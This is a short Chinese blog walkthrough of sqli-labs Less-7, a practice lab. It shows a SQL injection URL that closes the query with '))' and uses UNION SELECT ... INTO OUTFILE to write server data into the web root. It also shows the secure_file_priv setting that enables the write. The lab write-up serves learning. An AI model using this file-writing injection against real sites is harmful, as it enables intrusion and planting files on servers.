sqli-labsLess7
Posted 匡子语
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqli-labsLess7相关的知识,希望对你有一定的参考价值。
Less-7: 输出文件
sql导出文件语句
select * from table_test into outfile ‘test.txt‘
既然名字是输出文件,那肯定是和文件有关系。
首先,确保sql有写文件权限,即my.ini中有类似下面的语句。这里我作弊了,直接设置了sqli-labs-master的文件夹可以写文件。
secure_file_priv="D:/phpStudy/WWW/sqli-labs-master"
中间过程略过。最终写文件的语句为:
http://127.0.0.1/sqli-labs-master/Less-7/?id=1‘)) union select 1,2,@@version into outfile ‘D:\\phpStudy\\WWW\\sqli-labs-master\\test_7.txt‘ -- a
直接通过http请求可以看到页面
http://127.0.0.1/sqli-labs-master/test_7.txt
以上是关于sqli-labsLess7的主要内容,如果未能解决你的问题,请参考以下文章